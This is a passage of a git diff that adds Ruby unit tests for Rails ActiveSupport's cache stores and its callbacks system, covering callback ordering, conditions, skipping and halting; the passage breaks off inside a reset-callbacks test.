+    assert !@cache.exist?(1), "no entry"
+  end
+
+  def test_prune_size_on_write_based_on_key_length
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.write(6, "ffffffffff") && sleep(0.001)
+    @cache.write(7, "gggggggggg") && sleep(0.001)
+    @cache.write(8, "hhhhhhhhhh") && sleep(0.001)
+    @cache.write(9, "iiiiiiiiii") && sleep(0.001)
+    long_key = "*" * 2 * @record_size
+    @cache.write(long_key, "llllllllll")
+    assert @cache.exist?(long_key)
+    assert @cache.exist?(9)
+    assert @cache.exist?(8)
+    assert @cache.exist?(7)
+    assert @cache.exist?(6)
+    assert !@cache.exist?(5), "no entry"
+    assert !@cache.exist?(4), "no entry"
+    assert !@cache.exist?(3), "no entry"
+    assert !@cache.exist?(2), "no entry"
+    assert !@cache.exist?(1), "no entry"
+  end
+
+  def test_pruning_is_capped_at_a_max_time
+    def @cache.delete_entry(*args)
+      sleep(0.01)
+      super
+    end
+    @cache.write(1, "aaaaaaaaaa") && sleep(0.001)
+    @cache.write(2, "bbbbbbbbbb") && sleep(0.001)
+    @cache.write(3, "cccccccccc") && sleep(0.001)
+    @cache.write(4, "dddddddddd") && sleep(0.001)
+    @cache.write(5, "eeeeeeeeee") && sleep(0.001)
+    @cache.prune(30, 0.001)
+    assert @cache.exist?(5)
+    assert @cache.exist?(4)
+    assert @cache.exist?(3)
+    assert @cache.exist?(2)
+    assert !@cache.exist?(1)
+  end
+
+  def test_write_with_unless_exist
+    assert_equal true, @cache.write(1, "aaaaaaaaaa")
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+    @cache.write(1, nil)
+    assert_equal false, @cache.write(1, "aaaaaaaaaa", unless_exist: true)
+  end
+end
diff --git a/activesupport/test/cache/stores/null_store_test.rb b/activesupport/test/cache/stores/null_store_test.rb
new file mode 100644
index 0000000000..a891cbffc8
--- /dev/null
+++ b/activesupport/test/cache/stores/null_store_test.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+require "active_support/cache"
+require_relative "../behaviors"
+
+class NullStoreTest < ActiveSupport::TestCase
+  def setup
+    @cache = ActiveSupport::Cache.lookup_store(:null_store)
+  end
+
+  def test_clear
+    @cache.clear
+  end
+
+  def test_cleanup
+    @cache.cleanup
+  end
+
+  def test_write
+    assert_equal true, @cache.write("name", "value")
+  end
+
+  def test_read
+    @cache.write("name", "value")
+    assert_nil @cache.read("name")
+  end
+
+  def test_delete
+    @cache.write("name", "value")
+    assert_equal false, @cache.delete("name")
+  end
+
+  def test_increment
+    @cache.write("name", 1, raw: true)
+    assert_nil @cache.increment("name")
+  end
+
+  def test_decrement
+    @cache.write("name", 1, raw: true)
+    assert_nil @cache.increment("name")
+  end
+
+  def test_delete_matched
+    @cache.write("name", "value")
+    @cache.delete_matched(/name/)
+  end
+
+  def test_local_store_strategy
+    @cache.with_local_cache do
+      @cache.write("name", "value")
+      assert_equal "value", @cache.read("name")
+      @cache.delete("name")
+      assert_nil @cache.read("name")
+      @cache.write("name", "value")
+    end
+    assert_nil @cache.read("name")
+  end
+end
diff --git a/activesupport/test/callback_inheritance_test.rb b/activesupport/test/callback_inheritance_test.rb
new file mode 100644
index 0000000000..67813a749e
--- /dev/null
+++ b/activesupport/test/callback_inheritance_test.rb
@@ -0,0 +1,178 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class GrandParent
+  include ActiveSupport::Callbacks
+
+  attr_reader :log, :action_name
+  def initialize(action_name)
+    @action_name, @log = action_name, []
+  end
+
+  define_callbacks :dispatch
+  set_callback :dispatch, :before, :before1, :before2, if: proc { |c| c.action_name == "index" || c.action_name == "update" }
+  set_callback :dispatch, :after, :after1, :after2, if: proc { |c| c.action_name == "update" || c.action_name == "delete" }
+
+  def before1
+    @log << "before1"
+  end
+
+  def before2
+    @log << "before2"
+  end
+
+  def after1
+    @log << "after1"
+  end
+
+  def after2
+    @log << "after2"
+  end
+
+  def dispatch
+    run_callbacks :dispatch do
+      @log << action_name
+    end
+    self
+  end
+end
+
+class Parent < GrandParent
+  skip_callback :dispatch, :before, :before2, unless: proc { |c| c.action_name == "update" }
+  skip_callback :dispatch, :after, :after2, unless: proc { |c| c.action_name == "delete" }
+end
+
+class Child < GrandParent
+  skip_callback :dispatch, :before, :before2, unless: proc { |c| c.action_name == "update" }, if: :state_open?
+
+  def state_open?
+    @state == :open
+  end
+
+  def initialize(action_name, state)
+    super(action_name)
+    @state = state
+  end
+end
+
+class EmptyParent
+  include ActiveSupport::Callbacks
+
+  def performed?
+    @performed ||= false
+  end
+
+  define_callbacks :dispatch
+
+  def perform!
+    @performed = true
+  end
+
+  def dispatch
+    run_callbacks :dispatch
+    self
+  end
+end
+
+class EmptyChild < EmptyParent
+  set_callback :dispatch, :before, :do_nothing
+
+  def do_nothing
+  end
+end
+
+class CountingParent
+  include ActiveSupport::Callbacks
+
+  attr_reader :count
+
+  define_callbacks :dispatch
+
+  def initialize
+    @count = 0
+  end
+
+  def count!
+    @count += 1
+  end
+
+  def dispatch
+    run_callbacks(:dispatch)
+    self
+  end
+end
+
+class CountingChild < CountingParent
+end
+
+class BasicCallbacksTest < ActiveSupport::TestCase
+  def setup
+    @index    = GrandParent.new("index").dispatch
+    @update   = GrandParent.new("update").dispatch
+    @delete   = GrandParent.new("delete").dispatch
+  end
+
+  def test_basic_conditional_callback1
+    assert_equal %w(before1 before2 index), @index.log
+  end
+
+  def test_basic_conditional_callback2
+    assert_equal %w(before1 before2 update after2 after1), @update.log
+  end
+
+  def test_basic_conditional_callback3
+    assert_equal %w(delete after2 after1), @delete.log
+  end
+end
+
+class InheritedCallbacksTest < ActiveSupport::TestCase
+  def setup
+    @index    = Parent.new("index").dispatch
+    @update   = Parent.new("update").dispatch
+    @delete   = Parent.new("delete").dispatch
+  end
+
+  def test_inherited_excluded
+    assert_equal %w(before1 index), @index.log
+  end
+
+  def test_inherited_not_excluded
+    assert_equal %w(before1 before2 update after1), @update.log
+  end
+
+  def test_partially_excluded
+    assert_equal %w(delete after2 after1), @delete.log
+  end
+end
+
+class InheritedCallbacksTest2 < ActiveSupport::TestCase
+  def setup
+    @update1 = Child.new("update", :open).dispatch
+    @update2 = Child.new("update", :closed).dispatch
+  end
+
+  def test_crazy_mix_on
+    assert_equal %w(before1 update after2 after1), @update1.log
+  end
+
+  def test_crazy_mix_off
+    assert_equal %w(before1 before2 update after2 after1), @update2.log
+  end
+end
+
+class DynamicInheritedCallbacks < ActiveSupport::TestCase
+  def test_callbacks_looks_to_the_superclass_before_running
+    child = EmptyChild.new.dispatch
+    assert !child.performed?
+    EmptyParent.set_callback :dispatch, :before, :perform!
+    child = EmptyChild.new.dispatch
+    assert child.performed?
+  end
+
+  def test_callbacks_should_be_performed_once_in_child_class
+    CountingParent.set_callback(:dispatch, :before) { count! }
+    child = CountingChild.new.dispatch
+    assert_equal 1, child.count
+  end
+end
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
new file mode 100644
index 0000000000..3902e41a60
--- /dev/null
+++ b/activesupport/test/callbacks_test.rb
@@ -0,0 +1,1205 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module CallbacksTest
+  class Record
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save
+
+    def self.before_save(*filters, &blk)
+      set_callback(:save, :before, *filters, &blk)
+    end
+
+    def self.after_save(*filters, &blk)
+      set_callback(:save, :after, *filters, &blk)
+    end
+
+    class << self
+      def callback_symbol(callback_method)
+        method_name = :"#{callback_method}_method"
+        define_method(method_name) do
+          history << [callback_method, :symbol]
+        end
+        method_name
+      end
+
+      def callback_proc(callback_method)
+        Proc.new { |model| model.history << [callback_method, :proc] }
+      end
+
+      def callback_object(callback_method)
+        klass = Class.new
+        klass.send(:define_method, callback_method) do |model|
+          model.history << [:"#{callback_method}_save", :object]
+        end
+        klass.new
+      end
+    end
+
+    def history
+      @history ||= []
+    end
+  end
+
+  class CallbackClass
+    def self.before(model)
+      model.history << [:before_save, :class]
+    end
+
+    def self.after(model)
+      model.history << [:after_save, :class]
+    end
+  end
+
+  class Person < Record
+    attr_accessor :save_fails
+
+    [:before_save, :after_save].each do |callback_method|
+      callback_method_sym = callback_method.to_sym
+      send(callback_method, callback_symbol(callback_method_sym))
+      send(callback_method, callback_proc(callback_method_sym))
+      send(callback_method, callback_object(callback_method_sym.to_s.gsub(/_save/, "")))
+      send(callback_method, CallbackClass)
+      send(callback_method) { |model| model.history << [callback_method_sym, :block] }
+    end
+
+    def save
+      run_callbacks :save do
+        raise "inside save" if save_fails
+      end
+    end
+  end
+
+  class PersonSkipper < Person
+    skip_callback :save, :before, :before_save_method, if: :yes
+    skip_callback :save, :after,  :after_save_method, unless: :yes
+    skip_callback :save, :after,  :after_save_method, if: :no
+    skip_callback :save, :before, :before_save_method, unless: :no
+    skip_callback :save, :before, CallbackClass , if: :yes
+    def yes; true; end
+    def no; false; end
+  end
+
+  class PersonForProgrammaticSkipping < Person
+  end
+
+  class ParentController
+    include ActiveSupport::Callbacks
+
+    define_callbacks :dispatch
+
+    set_callback :dispatch, :before, :log, unless: proc { |c| c.action_name == :index || c.action_name == :show }
+    set_callback :dispatch, :after, :log2
+
+    attr_reader :action_name, :logger
+    def initialize(action_name)
+      @action_name, @logger = action_name, []
+    end
+
+    def log
+      @logger << action_name
+    end
+
+    def log2
+      @logger << action_name
+    end
+
+    def dispatch
+      run_callbacks :dispatch do
+        @logger << "Done"
+      end
+      self
+    end
+  end
+
+  class Child < ParentController
+    skip_callback :dispatch, :before, :log, if: proc { |c| c.action_name == :update }
+    skip_callback :dispatch, :after, :log2
+  end
+
+  class OneTimeCompile < Record
+    @@starts_true, @@starts_false = true, false
+
+    def initialize
+      super
+    end
+
+    before_save Proc.new { |r| r.history << [:before_save, :starts_true, :if] }, if: :starts_true
+    before_save Proc.new { |r| r.history << [:before_save, :starts_false, :if] }, if: :starts_false
+    before_save Proc.new { |r| r.history << [:before_save, :starts_true, :unless] }, unless: :starts_true
+    before_save Proc.new { |r| r.history << [:before_save, :starts_false, :unless] }, unless: :starts_false
+
+    def starts_true
+      if @@starts_true
+        @@starts_true = false
+        return true
+      end
+      @@starts_true
+    end
+
+    def starts_false
+      unless @@starts_false
+        @@starts_false = true
+        return false
+      end
+      @@starts_false
+    end
+
+    def save
+      run_callbacks :save
+    end
+  end
+
+  class OneTimeCompileTest < ActiveSupport::TestCase
+    def test_optimized_first_compile
+      around = OneTimeCompile.new
+      around.save
+      assert_equal [
+        [:before_save, :starts_true, :if],
+        [:before_save, :starts_true, :unless]
+      ], around.history
+    end
+  end
+
+  class AfterSaveConditionalPerson < Record
+    after_save Proc.new { |r| r.history << [:after_save, :string1] }
+    after_save Proc.new { |r| r.history << [:after_save, :string2] }
+    def save
+      run_callbacks :save
+    end
+  end
+
+  class AfterSaveConditionalPersonCallbackTest < ActiveSupport::TestCase
+    def test_after_save_runs_in_the_reverse_order
+      person = AfterSaveConditionalPerson.new
+      person.save
+      assert_equal [
+        [:after_save, :string2],
+        [:after_save, :string1]
+      ], person.history
+    end
+  end
+
+  class ConditionalPerson < Record
+    # proc
+    before_save Proc.new { |r| r.history << [:before_save, :proc] }, if: Proc.new { |r| true }
+    before_save Proc.new { |r| r.history << "b00m" }, if: Proc.new { |r| false }
+    before_save Proc.new { |r| r.history << [:before_save, :proc] }, unless: Proc.new { |r| false }
+    before_save Proc.new { |r| r.history << "b00m" }, unless: Proc.new { |r| true }
+    # symbol
+    before_save Proc.new { |r| r.history << [:before_save, :symbol] }, if: :yes
+    before_save Proc.new { |r| r.history << "b00m" }, if: :no
+    before_save Proc.new { |r| r.history << [:before_save, :symbol] }, unless: :no
+    before_save Proc.new { |r| r.history << "b00m" }, unless: :yes
+    # string
+    ActiveSupport::Deprecation.silence do
+      before_save Proc.new { |r| r.history << [:before_save, :string] }, if: "yes"
+      before_save Proc.new { |r| r.history << "b00m" }, if: "no"
+      before_save Proc.new { |r| r.history << [:before_save, :string] }, unless: "no"
+      before_save Proc.new { |r| r.history << "b00m" }, unless: "yes"
+    end
+    # Combined if and unless
+    before_save Proc.new { |r| r.history << [:before_save, :combined_symbol] }, if: :yes, unless: :no
+    before_save Proc.new { |r| r.history << "b00m" }, if: :yes, unless: :yes
+
+    def yes; true; end
+    def other_yes; true; end
+    def no; false; end
+    def other_no; false; end
+
+    def save
+      run_callbacks :save
+    end
+  end
+
+  class CleanPerson < ConditionalPerson
+    reset_callbacks :save
+  end
+
+  class MySuper
+    include ActiveSupport::Callbacks
+    define_callbacks :save
+  end
+
+  class MySlate < MySuper
+    attr_reader :history
+    attr_accessor :save_fails
+
+    def initialize
+      @history = []
+    end
+
+    def save
+      run_callbacks :save do
+        raise "inside save" if save_fails
+        @history << "running"
+      end
+    end
+
+    def no; false; end
+    def yes; true; end
+
+    def method_missing(sym, *)
+      case sym
+      when /^log_(.*)/
+        @history << $1
+        nil
+      when /^wrap_(.*)/
+        @history << "wrap_#$1"
+        yield
+        @history << "unwrap_#$1"
+        nil
+      when /^double_(.*)/
+        @history << "first_#$1"
+        yield
+        @history << "second_#$1"
+        yield
+        @history << "third_#$1"
+      else
+        super
+      end
+    end
+
+    def respond_to_missing?(sym)
+      sym =~ /^(log|wrap)_/ || super
+    end
+  end
+
+  class AroundPerson < MySlate
+    set_callback :save, :before, :nope,           if: :no
+    set_callback :save, :before, :nope,           unless: :yes
+    set_callback :save, :after,  :tweedle
+    set_callback :save, :before, proc { |m| m.history << "yup" }
+    set_callback :save, :before, :nope,           if: proc { false }
+    set_callback :save, :before, :nope,           unless: proc { true }
+    set_callback :save, :before, :yup,            if: proc { true }
+    set_callback :save, :before, :yup,            unless: proc { false }
+    set_callback :save, :around, :tweedle_dum
+    set_callback :save, :around, :w0tyes,         if: :yes
+    set_callback :save, :around, :w0tno,          if: :no
+    set_callback :save, :around, :tweedle_deedle
+
+    def nope
+      @history << "boom"
+    end
+
+    def yup
+      @history << "yup"
+    end
+
+    def w0tyes
+      @history << "w0tyes before"
+      yield
+      @history << "w0tyes after"
+    end
+
+    def w0tno
+      @history << "boom"
+      yield
+    end
+
+    def tweedle_dum
+      @history << "tweedle dum pre"
+      yield
+      @history << "tweedle dum post"
+    end
+
+    def tweedle
+      @history << "tweedle"
+    end
+
+    def tweedle_deedle
+      @history << "tweedle deedle pre"
+      yield
+      @history << "tweedle deedle post"
+    end
+  end
+
+  class AroundPersonResult < MySuper
+    attr_reader :result
+
+    set_callback :save, :after, :tweedle_1
+    set_callback :save, :around, :tweedle_dum
+    set_callback :save, :after, :tweedle_2
+
+    def tweedle_dum
+      @result = yield
+    end
+
+    def tweedle_1
+      :tweedle_1
+    end
+
+    def tweedle_2
+      :tweedle_2
+    end
+
+    def save
+      run_callbacks :save do
+        :running
+      end
+    end
+  end
+
+  class HyphenatedCallbacks
+    include ActiveSupport::Callbacks
+    define_callbacks :save
+    attr_reader :stuff
+
+    set_callback :save, :before, :action, if: :yes
+
+    def yes() true end
+
+    def action
+      @stuff = "ACTION"
+    end
+
+    def save
+      run_callbacks :save do
+        @stuff
+      end
+    end
+  end
+
+  module ExtendModule
+    def self.extended(base)
+      base.class_eval do
+        set_callback :save, :before, :record3
+      end
+    end
+    def record3
+      @recorder << 3
+    end
+  end
+
+  module IncludeModule
+    def self.included(base)
+      base.class_eval do
+        set_callback :save, :before, :record2
+      end
+    end
+    def record2
+      @recorder << 2
+    end
+  end
+
+  class ExtendCallbacks
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save
+    set_callback :save, :before, :record1
+
+    include IncludeModule
+
+    def save
+      run_callbacks :save
+    end
+
+    attr_reader :recorder
+
+    def initialize
+      @recorder = []
+    end
+
+    private
+
+      def record1
+        @recorder << 1
+      end
+  end
+
+  class AroundCallbacksTest < ActiveSupport::TestCase
+    def test_save_around
+      around = AroundPerson.new
+      around.save
+      assert_equal [
+        "yup", "yup",
+        "tweedle dum pre",
+        "w0tyes before",
+        "tweedle deedle pre",
+        "running",
+        "tweedle deedle post",
+        "w0tyes after",
+        "tweedle dum post",
+        "tweedle"
+      ], around.history
+    end
+  end
+
+  class DoubleYieldTest < ActiveSupport::TestCase
+    class DoubleYieldModel < MySlate
+      set_callback :save, :around, :wrap_outer
+      set_callback :save, :around, :double_trouble
+      set_callback :save, :around, :wrap_inner
+    end
+
+    def test_double_save
+      double = DoubleYieldModel.new
+      double.save
+      assert_equal [
+        "wrap_outer",
+        "first_trouble",
+        "wrap_inner",
+        "running",
+        "unwrap_inner",
+        "second_trouble",
+        "wrap_inner",
+        "running",
+        "unwrap_inner",
+        "third_trouble",
+        "unwrap_outer",
+      ], double.history
+    end
+  end
+
+  class CallStackTest < ActiveSupport::TestCase
+    def test_tidy_call_stack
+      around = AroundPerson.new
+      around.save_fails = true
+
+      exception = (around.save rescue $!)
+
+      # Make sure we have the exception we're expecting
+      assert_equal "inside save", exception.message
+
+      call_stack = exception.backtrace_locations
+      call_stack.pop caller_locations(0).size
+
+      # Yes, this looks like an implementation test, but it's the least
+      # obtuse way of asserting that there aren't a load of entries in
+      # the call stack for each callback.
+      #
+      # If you've renamed a method, or squeezed more lines out, go ahead
+      # and update this assertion. But if you're here because a
+      # refactoring added new lines, please reconsider.
+
+      # As shown here, our current budget is one line for run_callbacks
+      # itself, plus N+1 lines where N is the number of :around
+      # callbacks that have been invoked, if there are any (plus
+      # whatever the callbacks do themselves, of course).
+
+      assert_equal [
+        "block in save",
+        "block in run_callbacks",
+        "tweedle_deedle",
+        "block in run_callbacks",
+        "w0tyes",
+        "block in run_callbacks",
+        "tweedle_dum",
+        "block in run_callbacks",
+        ("call" if RUBY_VERSION < "2.3"),
+        "run_callbacks",
+        "save"
+      ].compact, call_stack.map(&:label)
+    end
+
+    def test_short_call_stack
+      person = Person.new
+      person.save_fails = true
+
+      exception = (person.save rescue $!)
+
+      # Make sure we have the exception we're expecting
+      assert_equal "inside save", exception.message
+
+      call_stack = exception.backtrace_locations
+      call_stack.pop caller_locations(0).size
+
+      # This budget much simpler: with no :around callbacks invoked,
+      # there should be just one line. run_callbacks yields directly
+      # back to its caller.
+
+      assert_equal [
+        "block in save",
+        "run_callbacks",
+        "save"
+      ], call_stack.map(&:label)
+    end
+  end
+
+  class AroundCallbackResultTest < ActiveSupport::TestCase
+    def test_save_around
+      around = AroundPersonResult.new
+      around.save
+      assert_equal :running, around.result
+    end
+  end
+
+  class SkipCallbacksTest < ActiveSupport::TestCase
+    def test_skip_person
+      person = PersonSkipper.new
+      assert_equal [], person.history
+      person.save
+      assert_equal [
+        [:before_save, :proc],
+        [:before_save, :object],
+        [:before_save, :block],
+        [:after_save, :block],
+        [:after_save, :class],
+        [:after_save, :object],
+        [:after_save, :proc],
+        [:after_save, :symbol]
+      ], person.history
+    end
+
+    def test_skip_person_programmatically
+      PersonForProgrammaticSkipping._save_callbacks.each do |save_callback|
+        if "before" == save_callback.kind.to_s
+          PersonForProgrammaticSkipping.skip_callback("save", save_callback.kind, save_callback.filter)
+        end
+      end
+      person = PersonForProgrammaticSkipping.new
+      assert_equal [], person.history
+      person.save
+      assert_equal [
+        [:after_save, :block],
+        [:after_save, :class],
+        [:after_save, :object],
+        [:after_save, :proc],
+        [:after_save, :symbol]
+      ], person.history
+    end
+  end
+
+  class CallbacksTest < ActiveSupport::TestCase
+    def test_save_person
+      person = Person.new
+      assert_equal [], person.history
+      person.save
+      assert_equal [
+        [:before_save, :symbol],
+        [:before_save, :proc],
+        [:before_save, :object],
+        [:before_save, :class],
+        [:before_save, :block],
+        [:after_save, :block],
+        [:after_save, :class],
+        [:after_save, :object],
+        [:after_save, :proc],
+        [:after_save, :symbol]
+      ], person.history
+    end
+  end
+
+  class ConditionalCallbackTest < ActiveSupport::TestCase
+    def test_save_conditional_person
+      person = ConditionalPerson.new
+      person.save
+      assert_equal [
+        [:before_save, :proc],
+        [:before_save, :proc],
+        [:before_save, :symbol],
+        [:before_save, :symbol],
+        [:before_save, :string],
+        [:before_save, :string],
+        [:before_save, :combined_symbol],
+      ], person.history
+    end
+  end
+
+  class ResetCallbackTest < ActiveSupport::TestCase
+    def test_save_conditional_person
+      person = CleanPerson.new
+      person.save
+      assert_equal [], person.history
+    end
+  end
+
+  class AbstractCallbackTerminator
+    include ActiveSupport::Callbacks
+
+    def self.set_save_callbacks
+      set_callback :save, :before, :first
+      set_callback :save, :before, :second
+      set_callback :save, :around, :around_it
+      set_callback :save, :before, :third
+      set_callback :save, :after, :first
+      set_callback :save, :around, :around_it
+      set_callback :save, :after, :third
+    end
+
+    attr_reader :history, :saved, :halted
+    def initialize
+      @history = []
+    end
+
+    def around_it
+      @history << "around1"
+      yield
+      @history << "around2"
+    end
+
+    def first
+      @history << "first"
+    end
+
+    def second
+      @history << "second"
+      :halt
+    end
+
+    def third
+      @history << "third"
+    end
+
+    def save
+      run_callbacks :save do
+        @saved = true
+      end
+    end
+
+    def halted_callback_hook(filter)
+      @halted = filter
+    end
+  end
+
+  class CallbackTerminator < AbstractCallbackTerminator
+    define_callbacks :save, terminator: ->(_, result_lambda) { result_lambda.call == :halt }
+    set_save_callbacks
+  end
+
+  class CallbackTerminatorSkippingAfterCallbacks < AbstractCallbackTerminator
+    define_callbacks :save, terminator: ->(_, result_lambda) { result_lambda.call == :halt },
+                            skip_after_callbacks_if_terminated: true
+    set_save_callbacks
+  end
+
+  class CallbackDefaultTerminator < AbstractCallbackTerminator
+    define_callbacks :save
+
+    def second
+      @history << "second"
+      throw(:abort)
+    end
+
+    set_save_callbacks
+  end
+
+  class CallbackFalseTerminator < AbstractCallbackTerminator
+    define_callbacks :save
+
+    def second
+      @history << "second"
+      false
+    end
+
+    set_save_callbacks
+  end
+
+  class CallbackObject
+    def before(caller)
+      caller.record << "before"
+    end
+
+    def before_save(caller)
+      caller.record << "before save"
+    end
+
+    def around(caller)
+      caller.record << "around before"
+      yield
+      caller.record << "around after"
+    end
+  end
+
+  class UsingObjectBefore
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save
+    set_callback :save, :before, CallbackObject.new
+
+    attr_accessor :record
+    def initialize
+      @record = []
+    end
+
+    def save
+      run_callbacks :save do
+        @record << "yielded"
+      end
+    end
+  end
+
+  class UsingObjectAround
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save
+    set_callback :save, :around, CallbackObject.new
+
+    attr_accessor :record
+    def initialize
+      @record = []
+    end
+
+    def save
+      run_callbacks :save do
+        @record << "yielded"
+      end
+    end
+  end
+
+  class CustomScopeObject
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save, scope: [:kind, :name]
+    set_callback :save, :before, CallbackObject.new
+
+    attr_accessor :record
+    def initialize
+      @record = []
+    end
+
+    def save
+      run_callbacks :save do
+        @record << "yielded"
+        "CallbackResult"
+      end
+    end
+  end
+
+  class OneTwoThreeSave
+    include ActiveSupport::Callbacks
+
+    define_callbacks :save
+
+    attr_accessor :record
+
+    def initialize
+      @record = []
+    end
+
+    def save
+      run_callbacks :save do
+        @record << "yielded"
+      end
+    end
+
+    def first
+      @record << "one"
+    end
+
+    def second
+      @record << "two"
+    end
+
+    def third
+      @record << "three"
+    end
+  end
+
+  class DuplicatingCallbacks < OneTwoThreeSave
+    set_callback :save, :before, :first, :second
+    set_callback :save, :before, :first, :third
+  end
+
+  class DuplicatingCallbacksInSameCall < OneTwoThreeSave
+    set_callback :save, :before, :first, :second, :first, :third
+  end
+
+  class UsingObjectTest < ActiveSupport::TestCase
+    def test_before_object
+      u = UsingObjectBefore.new
+      u.save
+      assert_equal ["before", "yielded"], u.record
+    end
+
+    def test_around_object
+      u = UsingObjectAround.new
+      u.save
+      assert_equal ["around before", "yielded", "around after"], u.record
+    end
+
+    def test_customized_object
+      u = CustomScopeObject.new
+      u.save
+      assert_equal ["before save", "yielded"], u.record
+    end
+
+    def test_block_result_is_returned
+      u = CustomScopeObject.new
+      assert_equal "CallbackResult", u.save
+    end
+  end
+
+  class CallbackTerminatorTest < ActiveSupport::TestCase
+    def test_termination_skips_following_before_and_around_callbacks
+      terminator = CallbackTerminator.new
+      terminator.save
+      assert_equal ["first", "second", "third", "first"], terminator.history
+    end
+
+    def test_termination_invokes_hook
+      terminator = CallbackTerminator.new
+      terminator.save
+      assert_equal :second, terminator.halted
+    end
+
+    def test_block_never_called_if_terminated
+      obj = CallbackTerminator.new
+      obj.save
+      assert !obj.saved
+    end
+  end
+
+  class CallbackTerminatorSkippingAfterCallbacksTest < ActiveSupport::TestCase
+    def test_termination_skips_after_callbacks
+      terminator = CallbackTerminatorSkippingAfterCallbacks.new
+      terminator.save
+      assert_equal ["first", "second"], terminator.history
+    end
+  end
+
+  class CallbackDefaultTerminatorTest < ActiveSupport::TestCase
+    def test_default_termination
+      terminator = CallbackDefaultTerminator.new
+      terminator.save
+      assert_equal ["first", "second", "third", "first"], terminator.history
+    end
+
+    def test_default_termination_invokes_hook
+      terminator = CallbackDefaultTerminator.new
+      terminator.save
+      assert_equal :second, terminator.halted
+    end
+
+    def test_block_never_called_if_abort_is_thrown
+      obj = CallbackDefaultTerminator.new
+      obj.save
+      assert !obj.saved
+    end
+  end
+
+  class CallbackFalseTerminatorTest < ActiveSupport::TestCase
+    def test_returning_false_does_not_halt_callback
+      obj = CallbackFalseTerminator.new
+      obj.save
+      assert_nil obj.halted
+      assert obj.saved
+    end
+  end
+
+  class HyphenatedKeyTest < ActiveSupport::TestCase
+    def test_save
+      obj = HyphenatedCallbacks.new
+      obj.save
+      assert_equal "ACTION", obj.stuff
+    end
+  end
+
+  class WriterSkipper < Person
+    attr_accessor :age
+    skip_callback :save, :before, :before_save_method, if: -> { age > 21 }
+  end
+
+  class WriterCallbacksTest < ActiveSupport::TestCase
+    def test_skip_writer
+      writer = WriterSkipper.new
+      writer.age = 18
+      assert_equal [], writer.history
+      writer.save
+      assert_equal [
+        [:before_save, :symbol],
+        [:before_save, :proc],
+        [:before_save, :object],
+        [:before_save, :class],
+        [:before_save, :block],
+        [:after_save, :block],
+        [:after_save, :class],
+        [:after_save, :object],
+        [:after_save, :proc],
+        [:after_save, :symbol]
+      ], writer.history
+    end
+  end
+
+  class ExtendCallbacksTest < ActiveSupport::TestCase
+    def test_save
+      model = ExtendCallbacks.new.extend ExtendModule
+      model.save
+      assert_equal [1, 2, 3], model.recorder
+    end
+  end
+
+  class ExcludingDuplicatesCallbackTest < ActiveSupport::TestCase
+    def test_excludes_duplicates_in_separate_calls
+      model = DuplicatingCallbacks.new
+      model.save
+      assert_equal ["two", "one", "three", "yielded"], model.record
+    end
+
+    def test_excludes_duplicates_in_one_call
+      model = DuplicatingCallbacksInSameCall.new
+      model.save
+      assert_equal ["two", "one", "three", "yielded"], model.record
+    end
+  end
+
+  class CallbackProcTest < ActiveSupport::TestCase
+    def build_class(callback)
+      Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        set_callback :foo, :before, callback
+        def run; run_callbacks :foo; end
+      }
+    end
+
+    def test_proc_arity_0
+      calls = []
+      klass = build_class(->() { calls << :foo })
+      klass.new.run
+      assert_equal [:foo], calls
+    end
+
+    def test_proc_arity_1
+      calls = []
+      klass = build_class(->(o) { calls << o })
+      instance = klass.new
+      instance.run
+      assert_equal [instance], calls
+    end
+
+    def test_proc_arity_2
+      assert_raises(ArgumentError) do
+        klass = build_class(->(x, y) {})
+        klass.new.run
+      end
+    end
+
+    def test_proc_negative_called_with_empty_list
+      calls = []
+      klass = build_class(->(*args) { calls << args })
+      klass.new.run
+      assert_equal [[]], calls
+    end
+  end
+
+  class ConditionalTests < ActiveSupport::TestCase
+    def build_class(callback)
+      Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        set_callback :foo, :before, :foo, if: callback
+        def foo; end
+        def run; run_callbacks :foo; end
+      }
+    end
+
+    # FIXME: do we really want to support classes as conditionals?  There were
+    # no tests for it previous to this.
+    def test_class_conditional_with_scope
+      z = []
+      callback = Class.new {
+        define_singleton_method(:foo) { |o| z << o }
+      }
+      klass = Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo, scope: [:name]
+        set_callback :foo, :before, :foo, if: callback
+        def run; run_callbacks :foo; end
+        private
+          def foo; end
+      }
+      object = klass.new
+      object.run
+      assert_equal [object], z
+    end
+
+    # FIXME: do we really want to support classes as conditionals?  There were
+    # no tests for it previous to this.
+    def test_class
+      z = []
+      klass = build_class Class.new {
+        define_singleton_method(:before) { |o| z << o }
+      }
+      object = klass.new
+      object.run
+      assert_equal [object], z
+    end
+
+    def test_proc_negative_arity # passes an empty list if *args
+      z = []
+      object = build_class(->(*args) { z << args }).new
+      object.run
+      assert_equal [], z.flatten
+    end
+
+    def test_proc_arity0
+      z = []
+      object = build_class(->() { z << 0 }).new
+      object.run
+      assert_equal [0], z
+    end
+
+    def test_proc_arity1
+      z = []
+      object = build_class(->(x) { z << x }).new
+      object.run
+      assert_equal [object], z
+    end
+
+    def test_proc_arity2
+      assert_raises(ArgumentError) do
+        object = build_class(->(a, b) {}).new
+        object.run
+      end
+    end
+  end
+
+  class ResetCallbackTest < ActiveSupport::TestCase
+    def build_class(memo)
+      klass = Class.new {
+        include ActiveSupport::Callbacks
+        define_callbacks :foo
+        set_callback :foo, :before, :hello
+        def run; run_callbacks :foo; end
+      }
+      klass.class_eval {
+        define_method(:hello) { memo << :hi }
+      }
+      klass
+    end
+
+    def test_reset_callbacks
+      events = []
+      klass = build_class events
+      klass.new.run
+      assert_equal 1, events.length
+
